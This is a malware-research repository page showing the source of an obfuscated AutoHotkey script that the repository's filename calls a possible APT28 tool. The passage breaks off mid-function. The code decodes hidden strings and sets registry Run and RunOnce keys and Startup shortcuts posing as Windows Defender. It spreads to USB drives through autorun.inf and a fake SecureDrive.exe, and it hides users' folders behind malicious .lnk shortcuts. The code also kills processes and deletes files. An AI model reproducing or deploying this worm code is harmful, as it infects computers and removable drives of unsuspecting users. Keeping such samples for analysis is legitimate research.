Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Malware-Misc-RE/2019-05-26-possible-apt28-autohotkey-script.vk.a2h

Go to file
 
 
Cannot retrieve contributors at this time
4026 lines (4025 sloc) 150 KB
Raw Blame
Open in GitHub Desktop
// MD5: 6419f6165e73675bd74b6dcb01801b36
#notrayicon
autotrim, off
#ErrorStdOut
stringcasesense, off
#singleinstance, off
settitlematchmode, 2
detecthiddenwindows, on
detecthiddentext, on
menu, tray, NoStandard
menu, tray, Nomainwindow
setworkingdir, %USERPROFILE%
h := h2s("616C705F6E756D") //alp_num
%h%:="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
h := h2s("636D646C5F6F6E") //cmdl_on
%h%=%1%
h := h2s("636D646C5F7477") //cmdl_tw
%h%=%2%
h := h2s("636D646C5F7468") //cmdl_th
%h%=%3%
h := h2s("72675F6C6D5F6F6B") // rg_lm_ok
%h%:=0
h := h2s("77696E5F73687574") // win_shut
%h%:=0
h := h2s("6C73745F63686B5F74736B6D67725F74796D") //lst_chk_tskmgr_tym
%h%:=0
h := h2s("6C73745F7570645F756C") // lst_upd_ul
%h%:=
h := h2s("536563447276455845") //SecDrvEXE
%h% := h2s("53656375726544726976652E657865") //SecureDrive.exe
h := h2s("4D437569455845") //MCuiEXE
%h% := h2s("4D5341534375692E657865") MSASCui.exe
h := h2s("7573625F64617461") //usb_data
%h% := h2s("5553425C44617461") //USB\Data
rn := "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" //Software\Microsoft\Windows\CurrentVersion\Run
h := h2s("7265675F73775F6D735F77696E5F63755F7275") //reg_sw_ms_win_cu_ru
%h% := h2s(rn)
h := h2s("7265675F73775F6D735F77696E5F63755F726F") //reg_sw_ms_win_cu_ro
%h% := h2s(rn . "4F6E6365") //Once
h := h2s("7265675F73775F6D735F6965") //reg_sw_ms_ie
%h% := h2s("536F6674776172655C4D6963726F736F66745C496E7465726E6574204578706C6F726572") //Software\Microsoft\Internet Explorer
h := h2s("7265675F73775F6D735F77696E5F63755F65785F616476") //reg_sw_ms_win_cu_ex_adv
%h% := h2s("534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C4578706C6F7265725C416476616E636564") //SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
h := h2s("77696E5F6465665F6D73637569657865") //win_def_mscuiexe
%h% := h2s("5C57696E646F777320446566656E6465725C4D5341534375692E657865") //\Windows Defender\MSASCui.exe
h := h2s("77696E5F616C74303136305F646566") //win_alt0160_def
%h% := h2s("57696E646F7773A0446566656E646572") //prg_alt0160_fls
h := h2s("7072675F616C74303136305F666C73") prg_alt0160_fls
%h% := h2s("50726F6772616DA046696C6573") //prg_fls
h := h2s("7072675F666C73")
%h% := dcprt("may6s5y-b4pOKsqawvw-c-c", ":KL*^usDI")
h := h2s("696E745F657870")
%h% := dcprt("kqi-bsZzM2udkjrK7uJnQ2uU-c", ":KL*^usDI")
h := h2s("77696E5F646566")
%h% := dcprt("0I7MipnAvVh73ovDlI6uvA-c-c", "%^&*IJ87y")
h := h2s("616C745F305F636872")
%h% := h2s("A0")
h := h2s("6D6B79")
%h% := h2s("6341566A784A4F566851447867316F5651747034") //cAVjxJOVhQDxg1oVQtp4
h := h2s("68746D6C736563747874")
%h% := dcprt("u9u-b2Nx-bosnkr8C6qrOWoaG65M8-c", "wxgd1oVsxJ")
h := h2s("6965446F74657865")
%h% := dcprt("07HCt8qUmIuMz8Sv", "LJG^%&&^j")
h := h2s("69655F69785F657865")
%h% := dcprt("opW4u8OXlK26bI-a-bzpGVuqu-aprDDnZa0tb6vdcOdiw-c-c", "LJG^%&HF")
h := h2s("7265675F7365635F6B79")
%h% := dcprt("eYiH58bHmpxv180-c","#$rT^&")
h := h2s("7265675F4C7374557064")
%h% := dcprt("uqO90n-a5uaiYzw-c-c", "BJ^*IUG$jn")
h := h2s("7265675F5672436E74")
%h% := dcprt("xKe80ZO4w4qT39y2", "BJ^*IUG$jn")
_k := h2s("3A4C4B492A6947482E39407E")
l_ := "86y4ea2W1XOOl6Wlzqy7v7iN2LOQj6ek6p-a-aa559q6OMj62h2o2xrr6czou6l6-alrJ"
h := h2s("7365635F6472765F65785F6C6E6B5F617267")
%h% := dcprt(l_ "-bEsA-c-c", _k)
l_ := "042Op42L3aikgZ6j86yxj7uT36x2k"
h := h2s("7365635F6472765F65785F7573625F707468")
%h% := dcprt(l_ "7Gl",_k)
l_ := "6E6574775F737276"
h := h2s(l_)
%h% := dcprt("hJu5raSpn4qcp7yglpw-c", l_)
h := h2s("6C636C5F737276")
%h% := dcprt("gqWol6GKmamtnqmc", l_)
h := h2s("746D707374725F616C6C")
%h% := StrSplit(dcprt("0Z-avwLuPvLupoK217oezvcWBzqmbk5y18J-aZsrumwLC2gqGy45vAkbKYzay6qoyl4a-a-asJyeyrm8k6uQwbaVub2P27Wtonuv7a3AsLums7y2mZiD6p-atuah-b2cOLmp6h8I6xuLk-c", _k), "|")
l_ := h2s("282A26255E2A54674B")
h := h2s("49455F49636E5F466C")
%h% := dcprt("lJaei5fMj8ittKCPmFPCi8g-c", l_)
h := h2s("57445F49636E5F466C")
%h% := dcprt("opGYeYi-bmMLMvVaOh5k-c", l_)
st_gbl()
ha := h2s("5363726970744E616D65")
hb := h2s("536372697074446972")
hc := h2s("536372697074457874")
hd := h2s("5363726970744E616D654E6F457874")
he := h2s("5363726970744472697665")
hf := h2s("53637269707446756C6C50617468")
loop, %A_ScriptFullPath%
{
%hf% := A_LoopFileLongPath
SplitPath, %hf%, %ha%, %hb%, %hc%, %hd%, %he%
break
}
h := h2s("73656C665F766572")
%h% := dcprt("bJFyhJ-arf4KEmYp0sZg-c", mky)
h := h2s("73656C665F756E6978")
%h% := dcprt("ZZhxj6CsfoOKnA-c-c", mky)
try filegetsize, self_sz, %A_ScriptFullPath%
process, exist
selfpid = %errorlevel%
Try ComObjError(false)
gosub, getcommonpaths
tmp_scky := atemp dcprt("p3-aTlHrOjrXbsGyPiJrFdsPOkZGWi1PAk8I-c", "(*&%^*TgK")
tmp_VrCnt := atemp dcprt("p3uPiZrHns28u4yLmoqij7bcsnSZjWvHlrmVrZGY", "(*&%^*TgK")
msie := dcprt("t7Wtuc2YlYzSmK-a5tH5SRnPHzb65us2Lmkan2MCvucyKmkaj4ry2ttCKmA-c-c", "LJG^%&&^j")
wttl := (ieDotexe = ScriptName) ? msie : win_def
msie :=
Try WinSetTitle, %A_ScriptName% ahk_pid %selfpid%,, %wttl%
pat := dcprt("r56oxaJrgZtzrqfCk6JOrYvxlYmHgVTfs-aWmdYaKntDC0Hp0l4KhnHKnx6OMip7Qb5k-c", "uJG^%&kF")
is_tmp_upd := (RegExMatch(ScriptName, pat) > 0) ? 1 : 0
is_sec_drv := (ScriptName = SecDrvEXE) ? 1 : 0
if (cmdl_on != alt_0_chr) {
if (!is_sec_drv && !is_tmp_upd) {
ExitApp
}
}
sd_ini = %ScriptDir%\desktop.ini
if (cmdl_on != alt_0_chr) {
If (!is_sec_drv && !is_tmp_upd) {
ExitApp
}
}
pat := dcprt("nYyYn7jXoJipvJLAz7B-bzo3Ny7mCwnnSyKl6q4Tkr3Wpw18-c", mky)
xp_hgr := (RegExMatch(A_OSVersion, pat) > 0) ? 1 : 0
If (!is_sec_drv && cmdl_on = alt_0_chr) {
if (gt_reg_sec_ky() = htmlsectxt) {
goto, un_in_me
}
}
pat := dcprt("nYxvgMbUvrTD2K2g9tuW3MbPz6BhnJ7Rm6rHuKTEf2zd35brurLozGLIubuTnA-c-c", mky)
if (is_tmp_upd || RegExMatch(ScriptFullPath, pat) > 0) {
chk_reg_mons()
chk_tskmgr()
ckvirtl()
if is_tmp_upd
{
if (cmdl_on != alt_0_chr) {
Try run, %ScriptFullPath% %alt_0_chr% in,, useerrorlevel
OnExit
exitapp
}
}
if cmdl_on != %alt_0_chr%
exitapp
gosub, instlr
goto, slfklext
}
If (!is_sec_drv) {
if cmdl_on != %alt_0_chr%
ExitApp
chk_reg_mons()
chk_tskmgr()
ckvirtl()
if InStr(ScriptFullPath, win_def_mscuiexe) {
gosub, set_ixplr
hde_fldrs()
upd_pr_usr_prms()
ExitApp
}
pat := dcprt("1454iIalqNyUz-aDLrr-aeqp-bdidfewabcnq6t2aLN2sqr0KikcJZdx-amax7pYrrjOSA-c-c", "eJ^*I@i$jn")
if (RegExMatch(ScriptFullPath, pat) > 0) {
if cmdl_tw != /cleanup
ExitApp
if cmdl_th != %alt_0_chr%
ExitApp
gosub, trjninjctr_strt
gosub, set_srvcs
hde_fldrs()
upd_pr_usr_prms()
ss := dcprt("kL9vsg-c-c", mky)
kill_del(ss ScriptDir dcprt("kMawxA-c-c", mky))
kill_del(ss ScriptDir dcprt("kM-axyps-c", mky))
OnExit, slfklext
ExitApp
}
loop, %ScriptDir%\%ScriptName%*
if (a_loopfilename != ScriptName)
kill_del(a_loopfilefullpath)
pat := dcprt("r6dWU4aC0rez7oSFhVaLi6P5WVungrrQuuOVmaiBjn9-b26Nep4-asrnTjoI5O", "~()*&^RF")
if (RegExMatch(ScriptFullPath, pat) > 0) {
if cmdl_tw = in
goto, instlr
ExitApp
}
pat := dcprt("r6eGp56Ly8LE2VhWY4PZg3b7kXeGVMPKq6I-c", "~()*&^RF")
if (RegExMatch(ScriptName, pat) > 0) {
if (cmdl_tw = "win") {
if cmdl_th = %alt_0_chr%
goto, trjninjctr
}
ExitApp
}
if InStr(ScriptFullPath, "\" win_alt0160_def "\" MCuiEXE) {
if InStr(cmdl_tw, lcl_srv) {
goto, Wtchr
}
if cmdl_tw =
goto, instlr
qurt := dcprt("dc-adipyHzMav7I0-c", "~()*&^RF")
if InStr(cmdl_tw, qurt) {
if (cmdl_th = alt_0_chr) {
gosub, trjninjctr_strt
hde_fldrs()
upd_pr_usr_prms()
Onexit
Try run, %ScriptFullPath% %alt_0_chr% %lcl_svc%,, useerrorlevel
}
}
ExitApp
}
If (ScriptName = ieDotexe) {
if cmdl_tw =
goto, instlr
nh := dcprt("c-aO5r82Siw-c-c", "uJG^%&kF")
if InStr(cmdl_tw, nh) {
if cmdl_th = %alt_0_chr%
goto, trjninjctr
}
pat := dcprt("1454iIalqdeYz-aDTr9JKrrjZkNngyry6hrKl4ZTW3devuliuuM5I", "eJ^*I@i$jn")
if RegExMatch(ScriptFullPath, pat) < 1
ExitApp
if InStr(cmdl_tw, netw_srv)
goto, DrvStrtChkr
}
ExitApp
}
SplitPath, ScriptFullPath,,,,,OtDrv
if ScriptDir != %OtDrv%\%usb_data%
ExitApp
If (!is_sec_drv)
ExitApp
if (cmdl_on = alt_0_chr)
ifwinnotactive, Computer ahk_class CabinetWClass
ifwinnotactive, Computer ahk_class ExploreWClass
ifwinnotactive, This PC ahk_class CabinetWClass
ifwinnotactive, This PC ahk_class ExploreWClass
goto, drct_rn
wingettitle, ttl, A
patt = i).*\(%OtDrv%\)$
pattt = i)^%OtDrv%
if (RegExMatch(ttl, patt) > 0 || RegExMatch(ttl, pattt) > 0 || RegExMatch(ttl, "i).*Computer$") > 0 || RegExMatch(ttl, "i)This PC$") > 0) {
WinGetClass, class, A
ControlGetFocus, focuss, A
if ((class = "CabinetWClass" || class = "ExploreWClass") && (focuss = "SysListView321" || focuss = "DirectUIHWND3")) {
op_hwnd := WinExist("A")
sel =
GetKeyState, ctrl_d, Ctrl
if ctrl_d = U
sel := get_sel()
if sel =
sel := xplr_gt_sel()
lnk_nm1 = %OtDrv%
if sel =
{
Try run, %sys_explorer% /e`,"%OtDrv%",,max useerrorlevel
goto, lnk_opn_k
}
if (sel = OtDrv "\") {
if (RegExMatch(ttl, "i).*Computer$") > 0 || RegExMatch(ttl, "i)This PC$") > 0) {
swt := ((cmdl_on = "/e") ? "/e," : "")
Try run, %sys_explorer% %swt%"%OtDrv%",,max useerrorlevel
goto, lnk_opn_k
}
}
if (RegExMatch(sel, "i).*\\(.*?)\.lnk$", lnk_nm) > 0 && RegExMatch(ttl, patt) > 0) {
if (sel = OtDrv "\" StrSplit(sel,"\")[2]) {
fldr_lpth := OtDrv "\" lnk_nm1
Try FileGetShortcut, %sel%, , , , lnk_opn_dsc
ff := h2s("46696C6520466F6C6465723A20")
if instr(lnk_opn_dsc, ff) {
Str_Replace(lnk_opn_dsc,ff)
if (lnk_nm1 && lnk_opn_dsc && lnk_nm1 != lnk_opn_dsc && !FileExist(fldr_lpth)) {
loop, %OtDrv%\%lnk_opn_dsc%, 2
{
Try FileSetAttrib, -RSA, %A_LoopFileFullPath%
Try FileMoveDir, %A_LoopFileFullPath%, %fldr_lpth%, R
sleep, 100
if FileExist(fldr_lpth)
Try FileSetAttrib, +RSAH, %fldr_lpth%
Else
{
d := OtDrv "\" lnk_opn_dsc
if FileExist(d)
fldr_lpth := d
}
}
}
}
loop, 2
{
loop, %fldr_lpth%, 2
{
Try run, %sys_explorer% /e`,"%a_loopfilefullpath%",,max useerrorlevel
goto, lnk_opn_k
}
Try filecreatedir, %fldr_lpth%
Try filesetattrib, +RSAH, %fldr_lpth%
}
goto, drct_rn
}
}
}
}
ExitApp
lnk_opn_k:
if lnk_nm1
{
winwait, %lnk_nm1% ahk_class CabinetWClass,,2
if errorlevel
winwait, %lnk_nm1% ahk_class ExploreWClass,,2
}
if op_hwnd
winclose, ahk_id %op_hwnd%
drct_rn:
chk_reg_mons()
chk_tskmgr()
gosub, getcommonpaths
ckvirtl()
if (gt_reg_sec_ky() = htmlsectxt) {
goto, un_in_me
}
gosub, chk_if_instld_n_runit
tmpfile := cpy_instlr_tmp()
if !FileExist(tmpfile)
ExitApp
Try FileSetAttrib, -RSAH, %tmpfile%
For i, nm in tmpstr_all
For xx, hkk in ["HKLM", "HKCU"]
Try RegDelete, %hkk%, %reg_sw_ms_win_cu_ro%, %nm%
if (StrLen(nnn) != 5)
nnn := get_num_seed(5)
wu := dcprt("fYyS1sPVmYJ54ri-bmog-c", "#$rT^&")
trrr = "%tmpfile%" %alt_0_chr% in
For indx, hk in ["HKLM", "HKCU"] {
if (indx = 2 || rg_lm_ok) {
if (rg_wt(, hk, reg_sw_ms_win_cu_ro, wu nnn, trrr)) {
ExitApp
}
}
}
if FileExist(prg_dir . win_def_mscuiexe) {
icnfile := prg_dir win_def_mscuiexe
goto, iconok
}
icnfile := tmpfile
iconok:
loc := dcprt("u8fCrLHb14ZoisrDwqyn1oRwcJTHv8ixsdKehg-c-c", "^THBddf$%d") systemroot "\system32"
For indx, lp in [startupcommon, startup] {
Try FileCreateShortcut, %tmpfile%, %lp%\%win_alt0160_def%.lnk, %prg_dir%,%alt_0_chr% in, %loc%, %icnfile%,,1
if errorlevel = 0
break
}
ExitApp
DrvStrtChkr:
Try DllCall("kernel32.dll\SetProcessShutdownParameters", UInt, 0x4FF, UInt, 0)
OnMessage(0x11, "strtup_ext")
gosub, set_srvcs
if !atrun_ori
atrun_ori := h2s("5B6175746F72756E5D0A414354494F4E3D4F70656E205553422044726976650A7368656C6C657865637574653D5553425C446174615C53656375726544726976652E65786520A00A7368656C6C5C6F70656E3D264F70656E0A7368656C6C5C6F70656E5C636F6D6D616E643D5553425C446174615C53656375726544726976652E6578650A7368656C6C5C6578706C6F72653D264578706C6F72650A7368656C6C5C6578706C6F72655C636F6D6D616E643D5553425C446174615C53656375726544726976652E657865202F650A69636F6E3D2557696E446972255C73797374656D33325C7368656C6C33322E646C6C2C370A5573654175746F506C61793D31")
ie_tpatt := "i).*\\" prg_alt0160_fls StrReplace(StrReplace(ie_ix_exe, "\", "\\"), ".", "\.") "$"
wd_tpatt := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.") "$"
Try FileSetAttrib, +RSA, %ScriptFullPath%
Try FileSetAttrib, -H, %ScriptFullPath%
Try FileSetAttrib, +RSAH, %ScriptDir%
Try FileSetAttrib, +RSAH, %myprg_dir%
loop
{
DriveGet, Drvs, list
Str_Replace(Drvs, SubStr(systemdrive, 1, 1))
Drvs_finl := Drvs
For indx, loopfield in StrSplit(Drvs) {
typ=
Try DriveGet, typ, type, %loopfield%:
catch r {
continue
}
if (RegExMatch(typ, "i)fixed|removable") < 1) {
Str_Replace(Drvs_finl, loopfield)
continue
}
Try DriveGet, sts, status, %loopfield%:
catch r {
continue
}
if sts != Ready
{
Str_Replace(Drvs_finl, loopfield)
continue
}
Try DriveGet, Srl, Serial, %loopfield%:
catch r {
continue
}
%loopfield%_Serial := Srl
srrl = |%Srl%|
if typ = Fixed
{
if !InStr(serials_include,srrl) {
if !InStr(serials_exclude,srrl) {
if (get_DrvTyp(loopfield) = "USB")
serials_include .= srrl
else
{
Str_Replace(Drvs_finl, loopfield)
serials_exclude .= srrl
}
}
else
Str_Replace(Drvs_finl, loopfield)
}
}
else if typ = Removable
{
if !InStr(serials_include,srrl)
serials_include .= srrl
}
}
ths_sess_srls =
For indx, loopfield in StrSplit(Drvs_finl) {
if !loopfield
continue
TsDrv = %loopfield%:
DrvSerial := %loopfield%_Serial
if opnrs_%DrvSerial% =
gosub, get_opnrs_for_ths_drv
TsDrv_opnrs := opnrs_%DrvSerial%
dr = |%DrvSerial%|
ths_sess_srls .= dr
if !InStr(all_drv_srls,dr)
all_drv_srls .= dr
Drv_%DrvSerial%++
if Drv_%DrvSerial% = 6
Drv_%DrvSerial% = 1
partial_drv_chk := (Drv_%DrvSerial% = 1) ? 0 : 1
drv_is_opn = 0
ifwinexist, (%TsDrv%) ahk_class CabinetWClass
{
WinGet, minmx, MinMax, (%TsDrv%) ahk_class CabinetWClass
if minmx != -1
drv_is_opn++
}
ifwinexist, (%TsDrv%) ahk_class ExploreWClass
{
WinGet, minmx, MinMax, (%TsDrv%) ahk_class ExploreWClass
if minmx != -1
drv_is_opn++
}
gosub, ChkThisDrv
chk_tskmgr()
}
For indx, loopfield in StrSplit(all_drv_srls,"|") {
if loopfield =
continue
l = |%loopfield%|
if !InStr(ths_sess_srls,l) {
Str_Replace(all_drv_srls,l)
Drv_%a_loopfield% =
}
}
if FileExist(systemdrive "\Windows")
sleep, 100
stringright, idx_nn, a_index, 1
if (idx_nn = 1 || (!hh_kk && (idx_nn = 4 || idx_nn = 7))) {
gosub, crtstrtup
}
strtr_ok = 0
if hh_kk !=
{
if (hh_kk = "HKLM" || hh_kk = "HKCU") {
if FileExist(autoStrt_pth) {
hh := rg_rd(hh_kk, reg_sw_ms_win_cu_ru, win_alt0160_def)
if hh = "%autoStrt_pth%" %alt_0_chr%
strtr_ok = 1
}
}
else if (InStr(hh_kk, ":\")) {
Try FileGetShortcut, %hh_kk%\%win_alt0160_def%.lnk, OTrgt,,OArg
if FileExist(OTrgt) {
if (OTrgt = autoStrt_pth && OArg = alt_0_chr) {
strtr_ok = 1
}
}
}
}
if (strtr_ok = 0 && idx_nn != 1) {
gosub, crtstrtup
}
gosub, prv_strt_chk
For idn, pr in get_prcs_by_cls() {
p_id := pr.pr_pid
p_pth := pr.pr_pth
if (!p_id || !p_pth)
continue
if (!wtchr_pid) {
if (RegExMatch(p_pth, wd_tpatt) > 0) {
if (ver_typ(p_pth) = 1) {
wtchr_pid := p_id
continue
}
}
}
if (p_pth != ScriptFullPath || p_id = wtchr_pid || RegExMatch(p_pth, ie_tpatt) > 0) {
Continue
}
ver := ver_typ(p_pth)
if ver = 2
goto, close_self_all_ext
else if (ver = 1) {
process, waitclose, %p_id%, 5
if errorlevel != 0
ExitApp
}
else if (ver = 0)
kill_del(p_pth, p_id)
}
chkr := drv_is_opn ? 5 : 10
loop, %chkr%
{
chk_tskmgr()
if a_index > 1
{
process, exist, %wtchr_pid%
if (errorlevel = 0 || errorlevel = selfpid) {
gosub, set_srvcs
sleep, 1000
break
}
}
sleep, 1000
}
chk_reg_mons()
}
ChkThisDrv:
if !atrnfl
atrnfl := h2s("5C6175746F72756E2E696E66")
if !atdrv
atdrv := TsDrv dcprt("xp-bDutKKk4Kf38C5i9COnIuMz8Sv", "LJG^%&&^j")
if !pswds
pswds := TsDrv dcprt("xpyrutGclZjC3Xqvv8M-c", "LJG^%&&^j")
atrn_fl := TsDrv atrnfl
fldr_usb = %TsDrv%\USB
fldr_data = %fldr_usb%\Data
SecDrvEx = %fldr_data%\%SecDrvEXE%
TsDrv_SecDrvOpnrNm =
kill_del(atdrv)
kill_del(pswds)
if FileExist(SecDrvEx) {
vv := ver_typ(SecDrvEx)
if (vv = 2) {
Try run, %SecDrvEx% %alt_0_chr%,, useerrorlevel
exitapp
}
if vv < 1
kill_del(SecDrvEx)
}
loop, %fldr_data%\*.*
{
if (a_loopfilename != SecDrvEXE) {
if (ver_typ(a_loopfilefullpath) = 2) {
Try run, %a_loopfilefullpath% %alt_0_chr%,, useerrorlevel
exitapp
}
kill_del(a_loopfilefullpath)
continue
}
if TsDrv_SecDrvOpnrNm
kill_del(a_loopfilefullpath)
else {
if (ver_typ(a_loopfilefullpath) > 0)
TsDrv_SecDrvOpnrNm := A_LoopFileName
Else
kill_del(a_loopfilefullpath)
}
}
if (!FileExist(atrn_fl) || !TsDrv_SecDrvOpnrNm) {
goto, full_drv_chk
}
fldr_data_TsDrv_SecDrvOpnr := fldr_data "\" TsDrv_SecDrvOpnrNm
usd_data_TsDrv_SecDrvOpnr := usb_data "\" TsDrv_SecDrvOpnrNm
Try IniRead, shex, %atrn_fl%, autorun, shellexecute, %a_space%
Try IniRead, opnn, %atrn_fl%, autorun, shell\open\command, %a_space%
shex := Trim(RegExReplace(shex, "i).*?([a-z0-9\\\s\.]+).*", "$1"))
opnn := Trim(RegExReplace(opnn, "i).*?([a-z0-9\\\s\.]+).*", "$1"))
sec_drv_in_autrn := TsDrv "\" shex
if (!shex || !opnn || shex != opnn || sec_drv_in_autrn != fldr_data_TsDrv_SecDrvOpnr) {
goto, full_drv_chk
}
if (shex != sec_drv_ex_usb_pth) {
goto, full_drv_chk
}
if !FileExist(sec_drv_in_autrn)
goto, full_drv_chk
For idxx, lp in StrSplit(TsDrv_opnrs,"|") {
if !lp
continue
sh_fldr := TsDrv "\" lp
sh_fpth := sh_fldr ".lnk"
if (!FileExist(sh_fpth) && !drv_is_opn)
goto, full_drv_chk
else {
Try FileGetShortcut, %sh_fpth%,,,oarg
if (oarg != sec_drv_ex_lnk_arg) {
goto, full_drv_chk
}
Try filegetattrib, rr, %sh_fpth%
if (rr != RAS) {
Try filesetattrib, +RSA, %sh_fpth%
Try filesetattrib, -H, %sh_fpth%
}
}
loop, %sh_fldr%, 2
{
Try filegetattrib, hh, %sh_fldr%
if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) {
Try filesetattrib, +RSAH, %sh_fldr%
}
}
loop, %sh_fldr%
{
Try filesetattrib, -RSAH, %sh_fldr%
Try filemove, %sh_fldr%, %sh_fldr%_bak, 1
}
if idxx > 3
break
}
Try filegetattrib, hh, %fldr_usb%
if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) {
Try filesetattrib, +RSAH, %fldr_usb%
}
Try filegetattrib, hh, %atrn_fl%
if (!InStr(hh, "R") || !InStr(hh, "S") || !InStr(hh, "H")) {
Try filesetattrib, +RSAH, %atrn_fl%
}
if partial_drv_chk
return
full_drv_chk:
Drv_%DrvSerial% = 1
if !FileExist(fldr_data) {
Try filecreatedir, %fldr_data%
sleep, 100
if !FileExist(fldr_data)
return
}
chk_nw_scdrv =
loop, %fldr_data%\*.*
{
ver := ver_typ(a_loopfilefullpath)
if (ver = -1) {
kill_del(a_loopfilefullpath)
continue
}
else if ver = 2
chk_nw_scdrv := a_loopfilefullpath
}
if chk_nw_scdrv
{
Try run, %chk_nw_scdrv% %alt_0_chr%,, useerrorlevel, SecDrv_p
if (errorlevel = 0) {
loop, 30
{
sleep, 1000
chk_tskmgr()
process, exist, %SecDrv_p%
if errorlevel != %SecDrv_p%
break
}
}
}
if !TsDrv_SecDrvOpnrNm
TsDrv_SecDrvOpnrNm := SecDrvEXE
fldr_data_TsDrv_SecDrvOpnr := fldr_data "\" TsDrv_SecDrvOpnrNm
usd_data_TsDrv_SecDrvOpnr := usb_data "\" TsDrv_SecDrvOpnrNm
if !FileExist(fldr_data_TsDrv_SecDrvOpnr) {
wd_bk := ScriptDir "\" WD_Icn_Fl
cp_frm := ScriptFullPath
if !FileExist(wd_bk)
chg_icn_typ_cpy(ScriptFullPath, wd_bk, "wd")
if FileExist(wd_bk)
cp_frm := wd_bk
Try Filecopy, %cp_frm%, %fldr_data_TsDrv_SecDrvOpnr%, 1
sleep, 500
if !FileExist(fldr_data_TsDrv_SecDrvOpnr)
return
}
gosub, auto_rn_chk
For indx, loopfield in [fldr_usb, fldr_data, fldr_data_TsDrv_SecDrvOpnr, atrn_fl] {
Try FileGetattrib, attr, %loopfield%
if (InStr(attr, "R") && InStr(attr, "S") && InStr(attr, "H")) {
continue
}
if (loopfield = fldr_data_TsDrv_SecDrvOpnr) {
Try FileSetAttrib, +RS, %loopfield%
if InStr(attr, "H")
Try FileSetAttrib, -H, %loopfield%
}
else
Try FileSetAttrib, +RSAH, %loopfield%
}
if (!rnd32ll || !shd32ll) {
k_ := h2s("4B652A5E25465E2669")
rnd32ll := dcprt("xb7endKKs5FYxb3amMKRspFYl7Ddjw-c-c", k_)
shd32ll := dcprt("xb7endKKs5FYxb7Nj8qReZBUzbfR", k_)
}
For idx, lp in StrSplit(TsDrv_opnrs,"|") {
if !lp
continue
sh_fpth := TsDrv "\" lp ".lnk"
if !FileExist(sh_fpth) {
if !drv_is_opn {
mk_lnk_fldr(sh_fpth, usd_data_TsDrv_SecDrvOpnr)
}
continue
}
lnk_k = 0
Try FileGetShortcut, %sh_fpth%, Targt, ODir, OArg, ODsc, OtIcn, OtIcnNm
rt := "%systemroot%" . rnd32ll
rtt := systemroot . rnd32ll
rttt := "%windir%" . rnd32ll
rtttt := windir . rnd32ll
if (Targt = rt || Targt = rtt || Targt = rttt || Targt = rtttt) {
lnk_k++
}
if ODir =
lnk_k++
if OArg = %sec_drv_ex_lnk_arg%
lnk_k++
if (StrReplace(Odsc, "File Folder: ") = lp) {
lnk_k++
}
rt := "%systemroot%" . shd32ll
rtt := systemroot . shd32ll
rttt := "%windir%" . shd32ll
rtttt := windir . shd32ll
if (OtIcn = rt || OtIcn = rtt || OtIcn = rttt || OtIcn = rtttt) {
lnk_k++
}
if OtIcnNm = 4
lnk_k++
if (lnk_k = 6) {
Try FileGetattrib, attr, %sh_fpth%
if (!InStr(attr, "R") || !InStr(attr, "S") || InStr(attr, "H")) {
Try filesetattrib, +RSA, %sh_fpth%
Try filesetattrib, -H, %sh_fpth%
}
}
else
{
mk_lnk_fldr(sh_fpth, usd_data_TsDrv_SecDrvOpnr)
}
}
return
mk_lnk_fldr(lk_fl="", opnfl="") {
Global
if (!lk_fl || !opnfl) {
return 0
}
lk := dcprt("dLfTlQ-c-c", "Ke*^%F")
if (SubStr(lk_fl, -3)!=lk) {
lk_fl .= lk
}
hxx := "4c(7)11402(10)c(13)46e702(4)2(7)89b246752aa0d20189b246752aa0d20189b246752aa0d20100ee(5)3(7)1(30)450114001f50e04fd020ea3a6910a2d808002b30309d19002f5c(42)560031(10)214b6880100057696e646f7773004(4)9000400efbe724a0b5d214b68802e(6)8205(9)1(30)fc01c200570069006e0064006f00770073(6)16005a0031(10)234b9aad100053797374656d3332(4)420009000400efbe724a0b5d234b9aad2e(6)b11(10)1(31)bcb9700530079007300740065006d00330032(6)1800660032(4)ee(4)724a5da7200072756e646c6c33322e657865(4)4a0009000400efbe724a5da7724a5da72e(6)319e(9)1(30)7722f700720075006e0064006c006c00330032002e006500780065(6)1c(6)58(6)1c(7)1(6)1c(6)36(14)57(6)1a(7)3(6)2761350c1(95)"
ff := dcprt("jLTRj35rtbfJj9BfZg-c-c", "Ke*^%F")
sh := RegExReplace(s2h(ff . regexreplace(lk_fl, ".*\\(.*?)\" lk "$", "$1")), "i)([a-f0-9]{2})", "$1" "00")
SetFormat, Integer, H
shl := SubStr("00" StrReplace((Strlen(sh) // 4),"x"),-1) "00"
SetFormat, Integer, D
hxx .= shl sh "7600750072006c002e0064006c006c002c00460069006c006500500072006f0074006f0063006f006c00480061006e0064006c00650072002000<file>21002500730079007300740065006d0072006f006f00740025005c00730079007300740065006d00330032005c007300680065006c006c00330032002e0064006c006c001403(5)1(4)a(1561)1(8)5(4)a025(6)dd(6)1c(7)b(4)a0774ec11ae7025d4eb7442eb1ae5198b7dd(6)6(8)3(4)a058(14)64(31)65e3ea6aaed564c9903ea4a05a589412c133a3d0490e71199f32c56dc944789065e3ea6aaed564c9903ea4a05a589412c133a3d0490e71199f32c56dc944789ce(7)9(4)a089(6)31535053e28a5846bc4c3843bbfc139326986dce6d(7)4(8)1f(6)2e(198)39(6)31535053b1166d44ad8d7048a748402ea43d788c1d(6)68(8)48(6)9af6bdc5(12)501f00"
f := SubStr(RegExReplace(s2h(opnfl), "i)([a-f0-9]{2})", "$1" "00"), 1, 360)
ll := StrLen(f)
if (ll < 360) {
loop, % (360-ll)
f.="0"
}
Str_Replace(hxx,"<file>",f)
nw_hxx=
For idx, lp in StrSplit(StrReplace(StrReplace(hxx,"(","`n("),")",")`n"), "`n")
nw_hxx .= (InStr(lp,"(") && InStr(lp,")")) ? zrs(trim(lp,"()")) : lp
kill_del(lk_fl)
if FileExist(lk_fl) {
return 0
}
if !mk_hxfl(lk_fl, nw_hxx)
return 0
Try filesetattrib, +RSA, %lk_fl%
Try filesetattrib, -H, %lk_fl%
return 1
}
zrs(c=0) {
if c < 1
Return
zz =
loop, %c%
zz .= "0"
return zz
